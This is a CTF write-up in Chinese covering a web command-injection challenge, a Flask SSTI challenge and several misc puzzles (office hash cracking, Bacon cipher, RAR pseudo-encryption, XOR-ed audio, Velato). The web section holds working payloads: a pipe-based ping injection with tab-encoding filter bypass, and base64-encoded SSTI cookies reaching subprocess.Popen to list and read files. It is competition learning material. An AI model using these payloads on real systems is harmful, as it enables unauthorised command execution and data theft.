记录比赛做上了、以及比完赛复现的题。感谢队友们,学到东西就是好的。

0x00 WEB

Command

网页可以对输入的ip进行ping命令处理,使用管道符“|”可以达到执行两条命令的效果。

又经过fuzz发现过滤了空格,使用%09进行绕过。可以执行命令后,利用grep命令在各个大文件夹内寻找含有“lag”的内容(因为“flag”被过滤)。最终在/etc搜索到了flag。

Payload:index.php?url=127.0.0.1|grep%09-rn%09"lag"%09%09/etc/

flaskbot

本意考的是flask框架下的ssti+pin码执行命令。?一下学习参考:戳我

这题后来看别人的wp是读取log拿到PIN码的。

不懂我这个是不是非预期解啊,同[CSCCTF 2019 Qual]FlaskLight

只要数字不让机器猜到(nan),且Cookies中的user输入加密后的ssti注入语句即可执行。首先爆出所有的类:

e3snJy5fX2NsYXNzX18uX19tcm9fX1syXS5fX3N1YmNsYXNzZXNfXygpfX0=
//{{''.__class__.__mro__[2].__subclasses__()}}

然后查看subprocess.Popen在哪:

import requests
import re
import html

url = "http://eci-2ze9cofh8j38jbh62g4g.cloudeci1.ichunqiu.com:8888/guess"
s = requests.session()
data = {'num':"nan"}
payloadHeader = {'Content-Type': 'application/x-www-form-urlencoded'}
cookies = {"__jsluid_h": "0bb797ec443079ac125ff7ae2067031f", "user":"e3snJy5fX2NsYXNzX18uX19tcm9fX1syXS5fX3N1YmNsYXNzZXNfXygpfX0="}
rr = s.post(url,data=data,cookies=cookies,headers=payloadHeader)
result = rr.text
result = re.findall(".*?<br/>Wow! (.*?) win",result,re.S)
result = "".join(result)
result = result.split(', ')
for i in result:
    if "subprocess.Popen" in i:
        print(result.index(i))

得到结果是258。

输入:

e3snJy5fX2NsYXNzX18uX19tcm9fX1syXS5fX3N1YmNsYXNzZXNfXygpWzI1OF0oJ2xzIC8nLHNoZWxsPVRydWUsc3Rkb3V0PS0xKS5jb21tdW5pY2F0ZSgpWzBdLnN0cmlwKCl9fQ==
//{{''.__class__.__mro__[2].__subclasses__()[258]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}

可以看到根目录下的flag文件名是super_secret_flag.txt

接下来怎么都查看不了,试着找了很多命令,也尝试反弹shell都不行,后来想到[...] 模式

[...]匹配方括号之中的任意一个字符,比如[aeiou]可以匹配五个元音字母。

已经知道了flag的位置和其文件名的具体格式,最后我将其构造成了:

cat /[a-z][a-z][a-z][a-z][a-z][_][a-z][a-z][a-z][a-z][a-z][a-z][_][a-z][a-z][a-z][a-z].txt

成功拿到flag。

e3snJy5fX2NsYXNzX18uX19tcm9fX1syXS5fX3N1YmNsYXNzZXNfXygpWzI1OF0oJ2NhdCAvW2Etel1bYS16XVthLXpdW2Etel1bYS16XVtfXVthLXpdW2Etel1bYS16XVthLXpdW2Etel1bYS16XVtfXVthLXpdW2Etel1bYS16XVthLXpdLnR4dCcsc2hlbGw9VHJ1ZSxzdGRvdXQ9LTEpLmNvbW11bmljYXRlKClbMF0uc3RyaXAoKX19
//{{''.__class__.__mro__[2].__subclasses__()[258]('cat /[a-z][a-z][a-z][a-z][a-z][_][a-z][a-z][a-z][a-z][a-z][a-z][_][a-z][a-z][a-z][a-z].txt',shell=True,stdout=-1).communicate()[0].strip()}}

0x01 MISC

到点了

题目下载(提取码【GAME】):

https://pan.baidu.com/share/init?surl=JyMLpY4yV_zNTG0KrHQcoQ

【1.docx】提示密码由八位组成。【2.docx】是加密的文档。

因此考虑使用office2john.py脚本获取【2.docx】的哈希值。得到:

2.docx:$office$*2007*20*128*16*d2ba0951ae9b22901f90afd753835952*0bae33c42ddc6d84ff0fac39c83a264c*1899936793713d5355f5c5173b5ab1f55540e232

使用john破解该哈希值,利用8位纯数字字典爆破可得:20201024。

【2.docx】文档打开后,在尾部有白色字符,更换颜色后得到培根密码:

AABBAABBBAABBBAAAABBABBABABAAAAABBAAABBBBAABBBAABABABBAAABAAAABAABAABBABAAAAABAA

利用在线培根解密网址对其解密后得到明文为goodnightsweetie。

将【3.docx】的后缀改为zip,得到4.zip,解压后得到一张图片:

因为它是bmp格式,exiftool、stegsolve等工具均无任何发现后考虑使用wbs43open。密码就为处理【2.docx】后得到的内容goodnightsweetie,我又将解密后的文件命名为12345。

查看该文件可得到flag。

进制反转

题目下载(提取码【GAME】):https://pan.baidu.com/s/1MPe9ryz87wUbW6u1SsrGRg

RAR伪加密,把C4改为C0,好像是我010版本不行,软件并没有检测出来T T

打开压缩包后得到flag.wav,在文件尾部有一行提示:

flagisthesong`sname

wav格式的开头为0x52494646,该文件的开头为0xadb6b9b9,逐位异或可以发现规律:

使用010的【工具】→【十六进制操作】→【二进制异或】:

现在可以听见歌曲了,但是歌曲应该进行了处理,不好辨别。

我上WatZatSong网站上传了这首歌询问歌名,得到了答案/flag。(虽然在我之前队友已经找到歌名惹

带音乐家

题目下载(提取码【GAME】):

https://pan.baidu.com/s/1MK1xg3hpKKA_R7G36fjWeQ

有一个【decode_it】和加密的【Doc1.rar】文件。其中【Doc1.rar】的注释中有隐藏内容。

三种类型的空白字符,替换成摩斯密码得aeskey9219232322

01/0/000/101/0/1011/11110/00111/01111/11110/00111/00011/00111/00011/00111/00111

该题对我来说难点就是第二步了,所给的音乐和Velato这个编程语言有关:

Velato是一种使用MIDI文件编写的语言。 在这种情况下,MIDI文件既可以构成音乐,也可以构成软件。 每个指令基于音符本身的音高和音符之间的间隔。

使用该工具进行编译:戳我

在同级目录下会生成exe文件,运行后得到Hello World!

它也就是【Doc1.rar】的压缩密码,解压成功后得到【Doc1.docx】。

设置显示隐藏文字,内容有两部分。

第一部分是精灵语:

翻译过来是FLAGIS

第二部分是一个对称加密(AES),key为第一步得出的9219232322: